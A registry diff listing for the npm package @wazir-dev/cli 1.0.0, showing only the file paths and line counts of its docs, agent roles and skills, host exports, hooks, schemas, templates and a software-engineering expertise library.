@wazir-dev/cli 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +111 -0
- package/CHANGELOG.md +14 -0
- package/CONTRIBUTING.md +101 -0
- package/LICENSE +21 -0
- package/README.md +314 -0
- package/assets/composition-engine.mmd +34 -0
- package/assets/demo-script.sh +17 -0
- package/assets/logo-dark.svg +14 -0
- package/assets/logo.svg +14 -0
- package/assets/pipeline.mmd +39 -0
- package/assets/record-demo.sh +51 -0
- package/docs/README.md +51 -0
- package/docs/adapters/context-mode.md +60 -0
- package/docs/concepts/architecture.md +87 -0
- package/docs/concepts/artifact-model.md +60 -0
- package/docs/concepts/composition-engine.md +36 -0
- package/docs/concepts/indexing-and-recall.md +160 -0
- package/docs/concepts/observability.md +41 -0
- package/docs/concepts/roles-and-workflows.md +59 -0
- package/docs/concepts/terminology-policy.md +27 -0
- package/docs/getting-started/01-installation.md +78 -0
- package/docs/getting-started/02-first-run.md +102 -0
- package/docs/getting-started/03-adding-to-project.md +15 -0
- package/docs/getting-started/04-host-setup.md +15 -0
- package/docs/guides/ci-integration.md +15 -0
- package/docs/guides/creating-skills.md +15 -0
- package/docs/guides/expertise-module-authoring.md +15 -0
- package/docs/guides/hook-development.md +15 -0
- package/docs/guides/memory-and-learnings.md +34 -0
- package/docs/guides/multi-host-export.md +15 -0
- package/docs/guides/troubleshooting.md +101 -0
- package/docs/guides/writing-custom-roles.md +15 -0
- package/docs/plans/2026-03-15-cli-pipeline-integration-design.md +592 -0
- package/docs/plans/2026-03-15-cli-pipeline-integration-plan.md +598 -0
- package/docs/plans/2026-03-15-docs-enforcement-plan.md +238 -0
- package/docs/readmes/INDEX.md +99 -0
- package/docs/readmes/features/expertise/README.md +171 -0
- package/docs/readmes/features/exports/README.md +222 -0
- package/docs/readmes/features/hooks/README.md +103 -0
- package/docs/readmes/features/hooks/loop-cap-guard.md +133 -0
- package/docs/readmes/features/hooks/post-tool-capture.md +121 -0
- package/docs/readmes/features/hooks/post-tool-lint.md +130 -0
- package/docs/readmes/features/hooks/pre-compact-summary.md +122 -0
- package/docs/readmes/features/hooks/pre-tool-capture-route.md +100 -0
- package/docs/readmes/features/hooks/protected-path-write-guard.md +128 -0
- package/docs/readmes/features/hooks/session-start.md +119 -0
- package/docs/readmes/features/hooks/stop-handoff-harvest.md +125 -0
- package/docs/readmes/features/roles/README.md +157 -0
- package/docs/readmes/features/roles/clarifier.md +152 -0
- package/docs/readmes/features/roles/content-author.md +190 -0
- package/docs/readmes/features/roles/designer.md +193 -0
- package/docs/readmes/features/roles/executor.md +184 -0
- package/docs/readmes/features/roles/learner.md +210 -0
- package/docs/readmes/features/roles/planner.md +182 -0
- package/docs/readmes/features/roles/researcher.md +164 -0
- package/docs/readmes/features/roles/reviewer.md +184 -0
- package/docs/readmes/features/roles/specifier.md +162 -0
- package/docs/readmes/features/roles/verifier.md +215 -0
- package/docs/readmes/features/schemas/README.md +178 -0
- package/docs/readmes/features/skills/README.md +63 -0
- package/docs/readmes/features/skills/brainstorming.md +96 -0
- package/docs/readmes/features/skills/debugging.md +148 -0
- package/docs/readmes/features/skills/design.md +120 -0
- package/docs/readmes/features/skills/prepare-next.md +109 -0
- package/docs/readmes/features/skills/run-audit.md +159 -0
- package/docs/readmes/features/skills/scan-project.md +109 -0
- package/docs/readmes/features/skills/self-audit.md +176 -0
- package/docs/readmes/features/skills/tdd.md +137 -0
- package/docs/readmes/features/skills/using-skills.md +92 -0
- package/docs/readmes/features/skills/verification.md +120 -0
- package/docs/readmes/features/skills/writing-plans.md +104 -0
- package/docs/readmes/features/tooling/README.md +320 -0
- package/docs/readmes/features/workflows/README.md +186 -0
- package/docs/readmes/features/workflows/author.md +181 -0
- package/docs/readmes/features/workflows/clarify.md +154 -0
- package/docs/readmes/features/workflows/design-review.md +171 -0
- package/docs/readmes/features/workflows/design.md +169 -0
- package/docs/readmes/features/workflows/discover.md +162 -0
- package/docs/readmes/features/workflows/execute.md +173 -0
- package/docs/readmes/features/workflows/learn.md +167 -0
- package/docs/readmes/features/workflows/plan-review.md +165 -0
- package/docs/readmes/features/workflows/plan.md +170 -0
- package/docs/readmes/features/workflows/prepare-next.md +167 -0
- package/docs/readmes/features/workflows/review.md +169 -0
- package/docs/readmes/features/workflows/run-audit.md +191 -0
- package/docs/readmes/features/workflows/spec-challenge.md +159 -0
- package/docs/readmes/features/workflows/specify.md +160 -0
- package/docs/readmes/features/workflows/verify.md +177 -0
- package/docs/readmes/packages/README.md +50 -0
- package/docs/readmes/packages/ajv.md +117 -0
- package/docs/readmes/packages/context-mode.md +118 -0
- package/docs/readmes/packages/gray-matter.md +116 -0
- package/docs/readmes/packages/node-test.md +137 -0
- package/docs/readmes/packages/yaml.md +112 -0
- package/docs/reference/configuration-reference.md +159 -0
- package/docs/reference/expertise-index.md +52 -0
- package/docs/reference/git-flow.md +43 -0
- package/docs/reference/hooks.md +87 -0
- package/docs/reference/host-exports.md +50 -0
- package/docs/reference/launch-checklist.md +172 -0
- package/docs/reference/marketplace-listings.md +76 -0
- package/docs/reference/release-process.md +34 -0
- package/docs/reference/roles-reference.md +77 -0
- package/docs/reference/skills.md +33 -0
- package/docs/reference/templates.md +29 -0
- package/docs/reference/tooling-cli.md +94 -0
- package/docs/truth-claims.yaml +222 -0
- package/expertise/PROGRESS.md +63 -0
- package/expertise/README.md +18 -0
- package/expertise/antipatterns/PROGRESS.md +56 -0
- package/expertise/antipatterns/backend/api-design-antipatterns.md +1271 -0
- package/expertise/antipatterns/backend/auth-antipatterns.md +1195 -0
- package/expertise/antipatterns/backend/caching-antipatterns.md +622 -0
- package/expertise/antipatterns/backend/database-antipatterns.md +1038 -0
- package/expertise/antipatterns/backend/index.md +24 -0
- package/expertise/antipatterns/backend/microservices-antipatterns.md +850 -0
- package/expertise/antipatterns/code/architecture-antipatterns.md +919 -0
- package/expertise/antipatterns/code/async-antipatterns.md +622 -0
- package/expertise/antipatterns/code/code-smells.md +1186 -0
- package/expertise/antipatterns/code/dependency-antipatterns.md +1209 -0
- package/expertise/antipatterns/code/error-handling-antipatterns.md +1360 -0
- package/expertise/antipatterns/code/index.md +27 -0
- package/expertise/antipatterns/code/naming-and-abstraction.md +1118 -0
- package/expertise/antipatterns/code/state-management-antipatterns.md +1076 -0
- package/expertise/antipatterns/code/testing-antipatterns.md +1053 -0
- package/expertise/antipatterns/design/accessibility-antipatterns.md +1136 -0
- package/expertise/antipatterns/design/dark-patterns.md +1121 -0
- package/expertise/antipatterns/design/index.md +22 -0
- package/expertise/antipatterns/design/ui-antipatterns.md +1202 -0
- package/expertise/antipatterns/design/ux-antipatterns.md +680 -0
- package/expertise/antipatterns/frontend/css-layout-antipatterns.md +691 -0
- package/expertise/antipatterns/frontend/flutter-antipatterns.md +1827 -0
- package/expertise/antipatterns/frontend/index.md +23 -0
- package/expertise/antipatterns/frontend/mobile-antipatterns.md +573 -0
- package/expertise/antipatterns/frontend/react-antipatterns.md +1128 -0
- package/expertise/antipatterns/frontend/spa-antipatterns.md +1235 -0
- package/expertise/antipatterns/index.md +31 -0
- package/expertise/antipatterns/performance/index.md +20 -0
- package/expertise/antipatterns/performance/performance-antipatterns.md +1013 -0
- package/expertise/antipatterns/performance/premature-optimization.md +623 -0
- package/expertise/antipatterns/performance/scaling-antipatterns.md +785 -0
- package/expertise/antipatterns/process/ai-coding-antipatterns.md +853 -0
- package/expertise/antipatterns/process/code-review-antipatterns.md +656 -0
- package/expertise/antipatterns/process/deployment-antipatterns.md +920 -0
- package/expertise/antipatterns/process/index.md +23 -0
- package/expertise/antipatterns/process/technical-debt-antipatterns.md +647 -0
- package/expertise/antipatterns/security/index.md +20 -0
- package/expertise/antipatterns/security/secrets-antipatterns.md +849 -0
- package/expertise/antipatterns/security/security-theater.md +843 -0
- package/expertise/antipatterns/security/vulnerability-patterns.md +801 -0
- package/expertise/architecture/PROGRESS.md +70 -0
- package/expertise/architecture/data/caching-architecture.md +671 -0
- package/expertise/architecture/data/data-consistency.md +574 -0
- package/expertise/architecture/data/data-modeling.md +536 -0
- package/expertise/architecture/data/event-streams-and-queues.md +634 -0
- package/expertise/architecture/data/index.md +25 -0
- package/expertise/architecture/data/search-architecture.md +663 -0
- package/expertise/architecture/data/sql-vs-nosql.md +708 -0
- package/expertise/architecture/decisions/architecture-decision-records.md +640 -0
- package/expertise/architecture/decisions/build-vs-buy.md +616 -0
- package/expertise/architecture/decisions/index.md +23 -0
- package/expertise/architecture/decisions/monolith-to-microservices.md +790 -0
- package/expertise/architecture/decisions/technology-selection.md +616 -0
- package/expertise/architecture/distributed/cap-theorem-and-tradeoffs.md +800 -0
- package/expertise/architecture/distributed/circuit-breaker-bulkhead.md +741 -0
- package/expertise/architecture/distributed/consensus-and-coordination.md +796 -0
- package/expertise/architecture/distributed/distributed-systems-fundamentals.md +564 -0
- package/expertise/architecture/distributed/idempotency-and-retry.md +796 -0
- package/expertise/architecture/distributed/index.md +25 -0
- package/expertise/architecture/distributed/saga-pattern.md +797 -0
- package/expertise/architecture/foundations/architectural-thinking.md +460 -0
- package/expertise/architecture/foundations/coupling-and-cohesion.md +770 -0
- package/expertise/architecture/foundations/design-principles-solid.md +649 -0
- package/expertise/architecture/foundations/domain-driven-design.md +719 -0
- package/expertise/architecture/foundations/index.md +25 -0
- package/expertise/architecture/foundations/separation-of-concerns.md +472 -0
- package/expertise/architecture/foundations/twelve-factor-app.md +797 -0
- package/expertise/architecture/index.md +34 -0
- package/expertise/architecture/integration/api-design-graphql.md +638 -0
- package/expertise/architecture/integration/api-design-grpc.md +804 -0
- package/expertise/architecture/integration/api-design-rest.md +892 -0
- package/expertise/architecture/integration/index.md +25 -0
- package/expertise/architecture/integration/third-party-integration.md +795 -0
- package/expertise/architecture/integration/webhooks-and-callbacks.md +1152 -0
- package/expertise/architecture/integration/websockets-realtime.md +791 -0
- package/expertise/architecture/mobile-architecture/index.md +22 -0
- package/expertise/architecture/mobile-architecture/mobile-app-architecture.md +780 -0
- package/expertise/architecture/mobile-architecture/mobile-backend-for-frontend.md +670 -0
- package/expertise/architecture/mobile-architecture/offline-first.md +719 -0
- package/expertise/architecture/mobile-architecture/push-and-sync.md +782 -0
- package/expertise/architecture/patterns/cqrs-event-sourcing.md +717 -0
- package/expertise/architecture/patterns/event-driven.md +797 -0
- package/expertise/architecture/patterns/hexagonal-clean-architecture.md +870 -0
- package/expertise/architecture/patterns/index.md +27 -0
- package/expertise/architecture/patterns/layered-architecture.md +736 -0
- package/expertise/architecture/patterns/microservices.md +753 -0
- package/expertise/architecture/patterns/modular-monolith.md +692 -0
- package/expertise/architecture/patterns/monolith.md +626 -0
- package/expertise/architecture/patterns/plugin-architecture.md +735 -0
- package/expertise/architecture/patterns/serverless.md +780 -0
- package/expertise/architecture/scaling/database-scaling.md +615 -0
- package/expertise/architecture/scaling/feature-flags-and-rollouts.md +757 -0
- package/expertise/architecture/scaling/horizontal-vs-vertical.md +606 -0
- package/expertise/architecture/scaling/index.md +24 -0
- package/expertise/architecture/scaling/multi-tenancy.md +800 -0
- package/expertise/architecture/scaling/stateless-design.md +787 -0
- package/expertise/backend/embedded-firmware.md +625 -0
- package/expertise/backend/go.md +853 -0
- package/expertise/backend/index.md +24 -0
- package/expertise/backend/java-spring.md +448 -0
- package/expertise/backend/node-typescript.md +625 -0
- package/expertise/backend/python-fastapi.md +724 -0
- package/expertise/backend/rust.md +458 -0
- package/expertise/backend/solidity.md +711 -0
- package/expertise/composition-map.yaml +443 -0
- package/expertise/content/foundations/content-modeling.md +395 -0
- package/expertise/content/foundations/editorial-standards.md +449 -0
- package/expertise/content/foundations/index.md +24 -0
- package/expertise/content/foundations/microcopy.md +455 -0
- package/expertise/content/foundations/terminology-governance.md +509 -0
- package/expertise/content/index.md +34 -0
- package/expertise/content/patterns/accessibility-copy.md +518 -0
- package/expertise/content/patterns/index.md +24 -0
- package/expertise/content/patterns/notification-content.md +433 -0
- package/expertise/content/patterns/sample-content.md +486 -0
- package/expertise/content/patterns/state-copy.md +439 -0
- package/expertise/design/PROGRESS.md +58 -0
- package/expertise/design/disciplines/dark-mode-theming.md +577 -0
- package/expertise/design/disciplines/design-systems.md +595 -0
- package/expertise/design/disciplines/index.md +25 -0
- package/expertise/design/disciplines/information-architecture.md +800 -0
- package/expertise/design/disciplines/interaction-design.md +788 -0
- package/expertise/design/disciplines/responsive-design.md +552 -0
- package/expertise/design/disciplines/usability-testing.md +516 -0
- package/expertise/design/disciplines/user-research.md +792 -0
- package/expertise/design/foundations/accessibility-design.md +796 -0
- package/expertise/design/foundations/color-theory.md +797 -0
- package/expertise/design/foundations/iconography.md +795 -0
- package/expertise/design/foundations/index.md +26 -0
- package/expertise/design/foundations/motion-and-animation.md +653 -0
- package/expertise/design/foundations/rtl-design.md +585 -0
- package/expertise/design/foundations/spacing-and-layout.md +607 -0
- package/expertise/design/foundations/typography.md +800 -0
- package/expertise/design/foundations/visual-hierarchy.md +761 -0
- package/expertise/design/index.md +32 -0
- package/expertise/design/patterns/authentication-flows.md +474 -0
- package/expertise/design/patterns/content-consumption.md +789 -0
- package/expertise/design/patterns/data-display.md +618 -0
- package/expertise/design/patterns/e-commerce.md +1494 -0
- package/expertise/design/patterns/feedback-and-states.md +642 -0
- package/expertise/design/patterns/forms-and-input.md +819 -0
- package/expertise/design/patterns/gamification.md +801 -0
- package/expertise/design/patterns/index.md +31 -0
- package/expertise/design/patterns/microinteractions.md +449 -0
- package/expertise/design/patterns/navigation.md +800 -0
- package/expertise/design/patterns/notifications.md +705 -0
- package/expertise/design/patterns/onboarding.md +700 -0
- package/expertise/design/patterns/search-and-filter.md +601 -0
- package/expertise/design/patterns/settings-and-preferences.md +768 -0
- package/expertise/design/patterns/social-and-community.md +748 -0
- package/expertise/design/platforms/desktop-native.md +612 -0
- package/expertise/design/platforms/index.md +25 -0
- package/expertise/design/platforms/mobile-android.md +825 -0
- package/expertise/design/platforms/mobile-cross-platform.md +983 -0
- package/expertise/design/platforms/mobile-ios.md +699 -0
- package/expertise/design/platforms/tablet.md +794 -0
- package/expertise/design/platforms/web-dashboard.md +790 -0
- package/expertise/design/platforms/web-responsive.md +550 -0
- package/expertise/design/psychology/behavioral-nudges.md +449 -0
- package/expertise/design/psychology/cognitive-load.md +1191 -0
- package/expertise/design/psychology/error-psychology.md +778 -0
- package/expertise/design/psychology/index.md +22 -0
- package/expertise/design/psychology/persuasive-design.md +736 -0
- package/expertise/design/psychology/user-mental-models.md +623 -0
- package/expertise/design/tooling/open-pencil.md +266 -0
- package/expertise/frontend/angular.md +1073 -0
- package/expertise/frontend/desktop-electron.md +546 -0
- package/expertise/frontend/flutter.md +782 -0
- package/expertise/frontend/index.md +27 -0
- package/expertise/frontend/native-android.md +409 -0
- package/expertise/frontend/native-ios.md +490 -0
- package/expertise/frontend/react-native.md +1160 -0
- package/expertise/frontend/react.md +808 -0
- package/expertise/frontend/vue.md +1089 -0
- package/expertise/humanize/domain-rules-code.md +79 -0
- package/expertise/humanize/domain-rules-content.md +67 -0
- package/expertise/humanize/domain-rules-technical-docs.md +56 -0
- package/expertise/humanize/index.md +35 -0
- package/expertise/humanize/self-audit-checklist.md +87 -0
- package/expertise/humanize/sentence-patterns.md +218 -0
- package/expertise/humanize/vocabulary-blacklist.md +105 -0
- package/expertise/i18n/PROGRESS.md +65 -0
- package/expertise/i18n/advanced/accessibility-and-i18n.md +28 -0
- package/expertise/i18n/advanced/bidirectional-text-algorithm.md +38 -0
- package/expertise/i18n/advanced/complex-scripts.md +30 -0
- package/expertise/i18n/advanced/performance-and-i18n.md +27 -0
- package/expertise/i18n/advanced/testing-i18n.md +28 -0
- package/expertise/i18n/content/content-adaptation.md +23 -0
- package/expertise/i18n/content/locale-specific-formatting.md +23 -0
- package/expertise/i18n/content/machine-translation-integration.md +28 -0
- package/expertise/i18n/content/translation-management.md +29 -0
- package/expertise/i18n/foundations/date-time-calendars.md +67 -0
- package/expertise/i18n/foundations/i18n-architecture.md +272 -0
- package/expertise/i18n/foundations/locale-and-language-tags.md +79 -0
- package/expertise/i18n/foundations/numbers-currency-units.md +61 -0
- package/expertise/i18n/foundations/pluralization-and-gender.md +109 -0
- package/expertise/i18n/foundations/string-externalization.md +236 -0
- package/expertise/i18n/foundations/text-direction-bidi.md +241 -0
- package/expertise/i18n/foundations/unicode-and-encoding.md +86 -0
- package/expertise/i18n/index.md +38 -0
- package/expertise/i18n/platform/backend-i18n.md +31 -0
- package/expertise/i18n/platform/flutter-i18n.md +148 -0
- package/expertise/i18n/platform/native-android-i18n.md +36 -0
- package/expertise/i18n/platform/native-ios-i18n.md +36 -0
- package/expertise/i18n/platform/react-i18n.md +103 -0
- package/expertise/i18n/platform/web-css-i18n.md +81 -0
- package/expertise/i18n/rtl/arabic-specific.md +175 -0
- package/expertise/i18n/rtl/hebrew-specific.md +149 -0
- package/expertise/i18n/rtl/rtl-animations-and-transitions.md +111 -0
- package/expertise/i18n/rtl/rtl-forms-and-input.md +161 -0
- package/expertise/i18n/rtl/rtl-fundamentals.md +211 -0
- package/expertise/i18n/rtl/rtl-icons-and-images.md +181 -0
- package/expertise/i18n/rtl/rtl-layout-mirroring.md +252 -0
- package/expertise/i18n/rtl/rtl-navigation-and-gestures.md +107 -0
- package/expertise/i18n/rtl/rtl-testing-and-qa.md +147 -0
- package/expertise/i18n/rtl/rtl-typography.md +160 -0
- package/expertise/index.md +113 -0
- package/expertise/index.yaml +216 -0
- package/expertise/infrastructure/cloud-aws.md +597 -0
- package/expertise/infrastructure/cloud-gcp.md +599 -0
- package/expertise/infrastructure/cybersecurity.md +816 -0
- package/expertise/infrastructure/database-mongodb.md +447 -0
- package/expertise/infrastructure/database-postgres.md +400 -0
- package/expertise/infrastructure/devops-cicd.md +787 -0
- package/expertise/infrastructure/index.md +27 -0
- package/expertise/performance/PROGRESS.md +50 -0
- package/expertise/performance/backend/api-latency.md +1204 -0
- package/expertise/performance/backend/background-jobs.md +506 -0
- package/expertise/performance/backend/connection-pooling.md +1209 -0
- package/expertise/performance/backend/database-query-optimization.md +515 -0
- package/expertise/performance/backend/index.md +23 -0
- package/expertise/performance/backend/rate-limiting-and-throttling.md +971 -0
- package/expertise/performance/foundations/algorithmic-complexity.md +954 -0
- package/expertise/performance/foundations/caching-strategies.md +489 -0
- package/expertise/performance/foundations/concurrency-and-parallelism.md +847 -0
- package/expertise/performance/foundations/index.md +24 -0
- package/expertise/performance/foundations/measuring-and-profiling.md +440 -0
- package/expertise/performance/foundations/memory-management.md +964 -0
- package/expertise/performance/foundations/performance-budgets.md +1314 -0
- package/expertise/performance/index.md +31 -0
- package/expertise/performance/infrastructure/auto-scaling.md +1059 -0
- package/expertise/performance/infrastructure/cdn-and-edge.md +1081 -0
- package/expertise/performance/infrastructure/index.md +22 -0
- package/expertise/performance/infrastructure/load-balancing.md +1081 -0
- package/expertise/performance/infrastructure/observability.md +1079 -0
- package/expertise/performance/mobile/index.md +23 -0
- package/expertise/performance/mobile/mobile-animations.md +544 -0
- package/expertise/performance/mobile/mobile-memory-battery.md +416 -0
- package/expertise/performance/mobile/mobile-network.md +452 -0
- package/expertise/performance/mobile/mobile-rendering.md +599 -0
- package/expertise/performance/mobile/mobile-startup-time.md +505 -0
- package/expertise/performance/platform-specific/flutter-performance.md +647 -0
- package/expertise/performance/platform-specific/index.md +22 -0
- package/expertise/performance/platform-specific/node-performance.md +1307 -0
- package/expertise/performance/platform-specific/postgres-performance.md +1366 -0
- package/expertise/performance/platform-specific/react-performance.md +1403 -0
- package/expertise/performance/web/bundle-optimization.md +1239 -0
- package/expertise/performance/web/image-and-media.md +636 -0
- package/expertise/performance/web/index.md +24 -0
- package/expertise/performance/web/network-optimization.md +1133 -0
- package/expertise/performance/web/rendering-performance.md +1098 -0
- package/expertise/performance/web/ssr-and-hydration.md +918 -0
- package/expertise/performance/web/web-vitals.md +1374 -0
- package/expertise/quality/accessibility.md +985 -0
- package/expertise/quality/evidence-based-verification.md +499 -0
- package/expertise/quality/index.md +24 -0
- package/expertise/quality/ml-model-audit.md +614 -0
- package/expertise/quality/performance.md +600 -0
- package/expertise/quality/testing-api.md +891 -0
- package/expertise/quality/testing-mobile.md +496 -0
- package/expertise/quality/testing-web.md +849 -0
- package/expertise/security/PROGRESS.md +54 -0
- package/expertise/security/agentic-identity.md +540 -0
- package/expertise/security/compliance-frameworks.md +601 -0
- package/expertise/security/data/data-encryption.md +364 -0
- package/expertise/security/data/data-privacy-gdpr.md +692 -0
- package/expertise/security/data/database-security.md +1171 -0
- package/expertise/security/data/index.md +22 -0
- package/expertise/security/data/pii-handling.md +531 -0
- package/expertise/security/foundations/authentication.md +1041 -0
- package/expertise/security/foundations/authorization.md +603 -0
- package/expertise/security/foundations/cryptography.md +1001 -0
- package/expertise/security/foundations/index.md +25 -0
- package/expertise/security/foundations/owasp-top-10.md +1354 -0
- package/expertise/security/foundations/secrets-management.md +1217 -0
- package/expertise/security/foundations/secure-sdlc.md +700 -0
- package/expertise/security/foundations/supply-chain-security.md +698 -0
- package/expertise/security/index.md +31 -0
- package/expertise/security/infrastructure/cloud-security-aws.md +1296 -0
- package/expertise/security/infrastructure/cloud-security-gcp.md +1376 -0
- package/expertise/security/infrastructure/container-security.md +721 -0
- package/expertise/security/infrastructure/incident-response.md +1295 -0
- package/expertise/security/infrastructure/index.md +24 -0
- package/expertise/security/infrastructure/logging-and-monitoring.md +1618 -0
- package/expertise/security/infrastructure/network-security.md +1337 -0
- package/expertise/security/mobile/index.md +23 -0
- package/expertise/security/mobile/mobile-android-security.md +1218 -0
- package/expertise/security/mobile/mobile-binary-protection.md +1229 -0
- package/expertise/security/mobile/mobile-data-storage.md +1265 -0
- package/expertise/security/mobile/mobile-ios-security.md +1401 -0
- package/expertise/security/mobile/mobile-network-security.md +1520 -0
- package/expertise/security/smart-contract-security.md +594 -0
- package/expertise/security/testing/index.md +22 -0
- package/expertise/security/testing/penetration-testing.md +1258 -0
- package/expertise/security/testing/security-code-review.md +1765 -0
- package/expertise/security/testing/threat-modeling.md +1074 -0
- package/expertise/security/testing/vulnerability-scanning.md +1062 -0
- package/expertise/security/web/api-security.md +586 -0
- package/expertise/security/web/cors-and-headers.md +433 -0
- package/expertise/security/web/csrf.md +562 -0
- package/expertise/security/web/file-upload.md +1477 -0
- package/expertise/security/web/index.md +25 -0
- package/expertise/security/web/injection.md +1375 -0
- package/expertise/security/web/session-management.md +1101 -0
- package/expertise/security/web/xss.md +1158 -0
- package/exports/README.md +17 -0
- package/exports/hosts/claude/.claude/agents/clarifier.md +42 -0
- package/exports/hosts/claude/.claude/agents/content-author.md +63 -0
- package/exports/hosts/claude/.claude/agents/designer.md +55 -0
- package/exports/hosts/claude/.claude/agents/executor.md +55 -0
- package/exports/hosts/claude/.claude/agents/learner.md +51 -0
- package/exports/hosts/claude/.claude/agents/planner.md +53 -0
- package/exports/hosts/claude/.claude/agents/researcher.md +43 -0
- package/exports/hosts/claude/.claude/agents/reviewer.md +54 -0
- package/exports/hosts/claude/.claude/agents/specifier.md +47 -0
- package/exports/hosts/claude/.claude/agents/verifier.md +71 -0
- package/exports/hosts/claude/.claude/commands/author.md +42 -0
- package/exports/hosts/claude/.claude/commands/clarify.md +38 -0
- package/exports/hosts/claude/.claude/commands/design-review.md +46 -0
- package/exports/hosts/claude/.claude/commands/design.md +44 -0
- package/exports/hosts/claude/.claude/commands/discover.md +37 -0
- package/exports/hosts/claude/.claude/commands/execute.md +48 -0
- package/exports/hosts/claude/.claude/commands/learn.md +38 -0
- package/exports/hosts/claude/.claude/commands/plan-review.md +42 -0
- package/exports/hosts/claude/.claude/commands/plan.md +39 -0
- package/exports/hosts/claude/.claude/commands/prepare-next.md +37 -0
- package/exports/hosts/claude/.claude/commands/review.md +40 -0
- package/exports/hosts/claude/.claude/commands/run-audit.md +41 -0
- package/exports/hosts/claude/.claude/commands/spec-challenge.md +41 -0
- package/exports/hosts/claude/.claude/commands/specify.md +38 -0
- package/exports/hosts/claude/.claude/commands/verify.md +37 -0
- package/exports/hosts/claude/.claude/settings.json +34 -0
- package/exports/hosts/claude/CLAUDE.md +19 -0
- package/exports/hosts/claude/export.manifest.json +38 -0
- package/exports/hosts/claude/host-package.json +67 -0
- package/exports/hosts/codex/AGENTS.md +19 -0
- package/exports/hosts/codex/export.manifest.json +38 -0
- package/exports/hosts/codex/host-package.json +41 -0
- package/exports/hosts/cursor/.cursor/hooks.json +16 -0
- package/exports/hosts/cursor/.cursor/rules/wazir-core.mdc +19 -0
- package/exports/hosts/cursor/export.manifest.json +38 -0
- package/exports/hosts/cursor/host-package.json +42 -0
- package/exports/hosts/gemini/GEMINI.md +19 -0
- package/exports/hosts/gemini/export.manifest.json +38 -0
- package/exports/hosts/gemini/host-package.json +41 -0
- package/hooks/README.md +18 -0
- package/hooks/definitions/loop_cap_guard.yaml +21 -0
- package/hooks/definitions/post_tool_capture.yaml +24 -0
- package/hooks/definitions/pre_compact_summary.yaml +19 -0
- package/hooks/definitions/pre_tool_capture_route.yaml +19 -0
- package/hooks/definitions/protected_path_write_guard.yaml +19 -0
- package/hooks/definitions/session_start.yaml +19 -0
- package/hooks/definitions/stop_handoff_harvest.yaml +20 -0
- package/hooks/loop-cap-guard +17 -0
- package/hooks/post-tool-lint +36 -0
- package/hooks/protected-path-write-guard +17 -0
- package/hooks/session-start +41 -0
- package/llms-full.txt +2355 -0
- package/llms.txt +43 -0
- package/package.json +79 -0
- package/roles/README.md +20 -0
- package/roles/clarifier.md +42 -0
- package/roles/content-author.md +63 -0
- package/roles/designer.md +55 -0
- package/roles/executor.md +55 -0
- package/roles/learner.md +51 -0
- package/roles/planner.md +53 -0
- package/roles/researcher.md +43 -0
- package/roles/reviewer.md +54 -0
- package/roles/specifier.md +47 -0
- package/roles/verifier.md +71 -0
- package/schemas/README.md +24 -0
- package/schemas/accepted-learning.schema.json +20 -0
- package/schemas/author-artifact.schema.json +156 -0
- package/schemas/clarification.schema.json +19 -0
- package/schemas/design-artifact.schema.json +80 -0
- package/schemas/docs-claim.schema.json +18 -0
- package/schemas/export-manifest.schema.json +20 -0
- package/schemas/hook.schema.json +67 -0
- package/schemas/host-export-package.schema.json +18 -0
- package/schemas/implementation-plan.schema.json +19 -0
- package/schemas/proposed-learning.schema.json +19 -0
- package/schemas/research.schema.json +18 -0
- package/schemas/review.schema.json +29 -0
- package/schemas/run-manifest.schema.json +18 -0
- package/schemas/spec-challenge.schema.json +18 -0
- package/schemas/spec.schema.json +20 -0
- package/schemas/usage.schema.json +102 -0
- package/schemas/verification-proof.schema.json +29 -0
- package/schemas/wazir-manifest.schema.json +173 -0
- package/skills/README.md +40 -0
- package/skills/brainstorming/SKILL.md +77 -0
- package/skills/debugging/SKILL.md +50 -0
- package/skills/design/SKILL.md +61 -0
- package/skills/dispatching-parallel-agents/SKILL.md +128 -0
- package/skills/executing-plans/SKILL.md +70 -0
- package/skills/finishing-a-development-branch/SKILL.md +169 -0
- package/skills/humanize/SKILL.md +123 -0
- package/skills/init-pipeline/SKILL.md +124 -0
- package/skills/prepare-next/SKILL.md +20 -0
- package/skills/receiving-code-review/SKILL.md +123 -0
- package/skills/requesting-code-review/SKILL.md +105 -0
- package/skills/requesting-code-review/code-reviewer.md +108 -0
- package/skills/run-audit/SKILL.md +197 -0
- package/skills/scan-project/SKILL.md +41 -0
- package/skills/self-audit/SKILL.md +153 -0
- package/skills/subagent-driven-development/SKILL.md +154 -0
- package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +26 -0
- package/skills/subagent-driven-development/implementer-prompt.md +102 -0
- package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
- package/skills/tdd/SKILL.md +23 -0
- package/skills/using-git-worktrees/SKILL.md +163 -0
- package/skills/using-skills/SKILL.md +95 -0
- package/skills/verification/SKILL.md +22 -0
- package/skills/wazir/SKILL.md +463 -0
- package/skills/writing-plans/SKILL.md +30 -0
- package/skills/writing-skills/SKILL.md +157 -0
- package/skills/writing-skills/anthropic-best-practices.md +122 -0
- package/skills/writing-skills/persuasion-principles.md +50 -0
- package/templates/README.md +20 -0
- package/templates/artifacts/README.md +10 -0
- package/templates/artifacts/accepted-learning.md +19 -0
- package/templates/artifacts/accepted-learning.template.json +12 -0
- package/templates/artifacts/author.md +74 -0
- package/templates/artifacts/author.template.json +19 -0
- package/templates/artifacts/clarification.md +21 -0
- package/templates/artifacts/clarification.template.json +12 -0
- package/templates/artifacts/execute-notes.md +19 -0
- package/templates/artifacts/implementation-plan.md +21 -0
- package/templates/artifacts/implementation-plan.template.json +11 -0
- package/templates/artifacts/learning-proposal.md +19 -0
- package/templates/artifacts/next-run-handoff.md +21 -0
- package/templates/artifacts/plan-review.md +19 -0
- package/templates/artifacts/proposed-learning.template.json +12 -0
- package/templates/artifacts/research.md +21 -0
- package/templates/artifacts/research.template.json +12 -0
- package/templates/artifacts/review-findings.md +19 -0
- package/templates/artifacts/review.template.json +11 -0
- package/templates/artifacts/run-manifest.template.json +8 -0
- package/templates/artifacts/spec-challenge.md +19 -0
- package/templates/artifacts/spec-challenge.template.json +11 -0
- package/templates/artifacts/spec.md +21 -0
- package/templates/artifacts/spec.template.json +12 -0
- package/templates/artifacts/verification-proof.md +19 -0
- package/templates/artifacts/verification-proof.template.json +11 -0
- package/templates/examples/accepted-learning.example.json +14 -0
- package/templates/examples/author.example.json +152 -0
- package/templates/examples/clarification.example.json +15 -0
- package/templates/examples/docs-claim.example.json +8 -0
- package/templates/examples/export-manifest.example.json +7 -0
- package/templates/examples/host-export-package.example.json +11 -0
